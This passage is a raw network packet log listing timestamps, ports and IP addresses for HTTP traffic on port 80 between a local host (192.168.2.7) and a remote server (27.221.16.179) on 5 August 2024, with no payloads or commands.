Aug 5, 2024 12:01:04.949903011 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949912071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949925900 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949940920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.949949980 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949949980 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.949975967 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950479031 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950495005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950508118 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950521946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950536966 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950550079 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950552940 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950565100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950579882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950593948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950608015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950622082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950634956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950649977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950653076 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950653076 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950653076 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950664043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950691938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950701952 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950706959 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950721025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.950730085 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.950753927 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951411963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951428890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951442957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951457024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951471090 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951484919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951488018 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951488018 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951498985 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951513052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951514959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951527119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951531887 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951540947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951554060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951567888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951582909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951589108 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951589108 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951597929 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951611996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951627970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951642990 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951656103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951669931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.951675892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951675892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951675892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.951716900 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952373981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952390909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952409029 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952414036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952420950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952435017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952449083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952457905 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952462912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952476978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952498913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952508926 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952508926 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952512980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952528000 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952543020 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952548981 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952557087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952570915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952584982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952599049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952609062 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952609062 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952613115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.952653885 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.952653885 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953372955 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953392982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953407049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953421116 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953434944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953449011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953463078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953461885 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953461885 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953479052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953494072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953506947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953510046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953521013 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953535080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953541040 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953541040 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953548908 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953562975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953576088 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953583002 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953589916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953603983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953619003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.953639030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953639030 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.953674078 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954317093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954334021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954348087 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954361916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954375982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954380035 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954391003 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954405069 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954418898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954432011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954446077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954458952 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954473972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954473972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954473972 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954473972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954488993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954488993 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954503059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954524040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954534054 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954536915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:04.954552889 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:04.954583883 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253034115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253061056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253077030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253091097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253154039 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253154039 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253155947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253171921 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253226995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253235102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253340006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253355980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253387928 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253467083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253504992 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253514051 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253520012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253720999 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253736019 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253751993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253766060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253767014 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253782034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253793955 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253794909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253808975 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.253813982 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.253864050 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254126072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254142046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254156113 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254169941 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254180908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254225969 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254354954 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254369974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254415989 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254502058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254517078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254528046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254542112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254549026 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254556894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254570961 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254585028 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254600048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254602909 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254602909 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254612923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254626036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.254631996 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254651070 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.254652977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255188942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255225897 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255369902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255386114 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255399942 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255414009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255426884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255439997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255455971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255466938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255466938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255466938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255470037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255482912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255497932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255511045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255525112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255527020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255527020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255538940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.255549908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.255584002 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256341934 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256359100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256372929 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256386995 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256398916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256412983 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256423950 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256426096 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256439924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256447077 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256453991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256467104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256489038 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256495953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256495953 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256506920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256520033 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256520987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256535053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256547928 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.256556034 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.256587982 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257345915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257364988 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257378101 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257392883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257406950 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257412910 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257412910 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257421970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257436037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257447004 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257447958 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257462978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257477045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257483959 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257489920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257503986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257517099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257519960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257531881 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.257577896 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257577896 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.257955074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258007050 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258145094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258160114 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258173943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258187056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258200884 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258214951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258229017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258234978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258245945 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258258104 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258259058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258263111 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258274078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258289099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258291960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258301973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258316994 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258330107 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258342981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258343935 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258343935 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258357048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258369923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.258379936 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.258439064 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259119034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259135962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259176970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259191036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259202957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259211063 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259211063 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259217024 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259232044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259244919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259258032 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259274006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259278059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259278059 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259288073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259300947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259308100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259315968 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259330034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259342909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259347916 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259357929 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259368896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.259383917 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259383917 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.259439945 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.260997057 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.261089087 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.341567993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341610909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341629982 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341741085 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341754913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341773987 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.341790915 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.341804028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.341855049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.341892004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342111111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342124939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342139006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342153072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342204094 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.342204094 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.342310905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342325926 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342350006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342365026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.342396975 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.342396975 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.391968966 CEST	49864	80	192.168.2.7	27.221.16.179
